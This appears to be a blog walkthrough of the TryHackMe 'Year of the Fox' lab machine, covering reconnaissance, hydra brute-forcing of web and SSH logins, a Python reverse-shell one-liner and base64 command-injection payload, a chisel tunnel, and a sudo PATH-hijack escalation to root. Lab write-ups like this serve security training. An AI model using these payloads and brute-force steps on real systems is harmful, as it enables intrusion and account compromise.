TryHackMe Year of the Fox Writeup

6 min readNov 9, 2022

Year Of the Fox Walkthrough

Reconn

Let’s start with a normal nmap scan.

╰─ lanfran@parrot ❯ sudo nmap 10.10.174.23 -p- -sS — min-rate 5000 -n -Pn ─╯
[sudo] password for lanfran:
Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021–10–17 12:33 CEST
Nmap scan report for 10.10.174.23
Host is up (0.083s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 24.37 seconds

Great! We have a web server and a microsoft-ds service running!

Let’s scan the file sharing server with enum4linux.

╰─ lanfran@parrot ❯ enum4linux 10.10.174.23 ─╯
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Oct 17 12:34:44 2022
==========================
| Target Information |
==========================
Target ……….. 10.10.174.23
RID Range …….. 500–550,1000–1050
Username ……… ‘’
Password ……… ‘’
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.174.23 |
====================================================
[…]
[+] Enumerating users using SID S-1–22–1 and logon username ‘’, password ‘’
S-1–22–1–1000 Unix User\fox (Local User)
S-1–22–1–1001 Unix User\rascal (Local User)
[…]

Woho! More information! We have 2 users now: Fox Rascal

So let’s go to the web server now.

Foothold — User

Ups, it’s requesting us a password and an user, maybe we can bruteforce it with hydra and the users that we found before…

╰─ lanfran@parrot ❯ hydra -l rascal -P /usr/share/wordlists/rockyou.txt -u -s 80 10.10.174.23 http-head / ─╯
Hydra v9.1 © 2020 by van Hauser/THC & David Maciejak — Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021–10–17 12:38:59
[WARNING] http-head auth does not work with every server, better use http-get
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-head://10.10.174.23:80/
[STATUS] 3492.00 tries/min, 3492 tries in 00:01h, 14340907 to do in 68:27h, 16 active
[80][http-head] host: 10.10.174.23 login: rascal password: marinel

Yes! It worked! We can now login to the page and see what’s inside (BTW, I’m not removing the cracked password because this machine changes the password in every reboot…)

A simple page with an input…

After a lot of reserching, we can get a reverse shell from there with this exploit:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“your_ip”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
— — -
“\”;echo “paste your base64 encoded payload here” | base64 -d | bash;\””

Run it with Burp Suite or even with cURL.

And we are in, we now can read the web flag!

www-data@year-of-the-fox:/var/www$ cat web-flag.txt
THM{[REDACTED]}

Digging around, I found that the port 22 is open and listening but just in for the local machine, so we have to create a tunnel and we can bruteforce it!

$ netstat -tulwn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN
tcp6 0 0 :::139 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::445 :::* LISTEN
udp 0 0 10.10.255.255:137 0.0.0.0:*
udp 0 0 10.10.174.23:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 10.10.255.255:138 0.0.0.0:*
udp 0 0 10.10.174.23:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 10.10.174.23:68 0.0.0.0:*
raw6 0 0 :::58 :::* 7
$

Let’s create the tunnel now with chisel. Please note that chisel isn’t installed on the machine, so I had to upload an static binary.

[Attacker Machine]
╰─ lanfran@parrot ❯ ./chisel server -p 4444 — reverse & ─╯
[1] 1717758
2022/10/17 12:56:35 server: Reverse tunnelling enabled
2022/10/17 12:56:35 server: Fingerprint V4me3/cc0B0GtMPIyoYclwAhXCzh24uFYKuxh3M+jcY=
2022/10/17 12:56:35 server: Listening on http://0.0.0.0:4444
— — — —
[Victim Machine]
www-data@year-of-the-fox:/tmp$ ./chisel client 10.9.4.36:4444 R:2222:127.0.0.1:22
2022/10/17 11:58:01 client: Connecting to ws://10.9.4.36:4444
2022/10/17 11:58:01 client: Connected (Latency 54.77722ms)

Great, since now we can see the 22 open port on the machine, on our local port 2222, let’s brute force with the user fox.

╰─ lanfran@parrot ❯ hydra -l fox -P /usr/share/wordlists/rockyou.txt -u -s 2222 127.0.0.1 ssh ─╯
Hydra v9.1 © 2020 by van Hauser/THC & David Maciejak — Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021–10–17 12:57:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://127.0.0.1:2222/
[STATUS] 177.00 tries/min, 177 tries in 00:01h, 14344223 to do in 1350:41h, 16 active
[2222][ssh] host: 127.0.0.1 login: fox password: roberto

Great! we have the password, let’s now login via ssh and read the user’s flag.

╰─ lanfran@parrot ❯ ssh -p 2222 fox@localhost ─╯
fox@localhost’s password:
__ __ __ _ _ _____
\ \ / /__ __ _ _ __ ___ / _| | |_| |__ ___ | ___|____ __
\ V / _ \/ _` | ‘__| / _ \| |_ | __| ‘_ \ / _ \ | |_ / _ \ \/ /
| | __/ (_| | | | (_) | _| | |_| | | | __/ | _| (_) > <
|_|\___|\__,_|_| \___/|_| \__|_| |_|\___| |_| \___/_/\_\
fox@year-of-the-fox:~$ cat user-flag.txt
THM{[REDACTED]}
fox@year-of-the-fox:~$

Root

To escalate to root, we will need to find a way to exploit a binary, that we can run with sudo.

fox@year-of-the-fox:~$ sudo -l
Matching Defaults entries for fox on year-of-the-fox:
env_reset, mail_badpass
User fox may run the following commands on year-of-the-fox:
(root) NOPASSWD: /usr/sbin/shutdown

A few things going on here. The secure_path isn’t set, and we have a binary, that after doing a little reversing, we can see that is using another binary, poweroff.

╰─ lanfran@parrot ❯ strings shutdown ─╯
/lib64/ld-linux-x86–64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
poweroff. ← — — — HERE

So, to recap, we can create a malicious binary to act as poweroff and set the $PATH to our current working directory. So let’s do it!

fox@year-of-the-fox:/tmp$ cp /bin/bash poweroff
fox@year-of-the-fox:/tmp$ sudo “PATH=/tmp:$PATH” /usr/sbin/shutdown
root@year-of-the-fox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

And we got it! Now for the remaining root’s flag, let’s read the file that’s on /home/rascal/ and remove all the break lines.

root@year-of-the-fox:/tmp# ls -la /home/rascal/
total 24
drwxr-x — — 2 rascal rascal 4096 Jun 1 2020 .
drwxr-xr-x 4 root root 4096 May 28 2020 ..
lrwxrwxrwx 1 root root 9 May 28 2020 .bash_history -> /dev/null
-rw-r — r — 1 rascal rascal 220 Apr 4 2018 .bash_logout
-rw-r — r — 1 rascal rascal 3771 Apr 4 2018 .bashrc
-r — — — — 1 rascal root 158 Jun 9 2020 .did-you-think-I-was-useless.root
-rw-r — r — 1 rascal rascal 807 Apr 4 2018 .profile
root@year-of-the-fox:/tmp# cat /home/rascal/.did-you-think-I-was-useless.root | tr -d ‘\n’
THM{[REDACTED]]}Here’s the prize:YTAyNzQ3ODZlMmE2MjcwNzg2NjZkNjQ2Nzc5NzA0NjY2Njc2NjY4M2I2OTMyMzIzNTNhNjk2ODMwMwo=Good luck!

And we rooted the machine!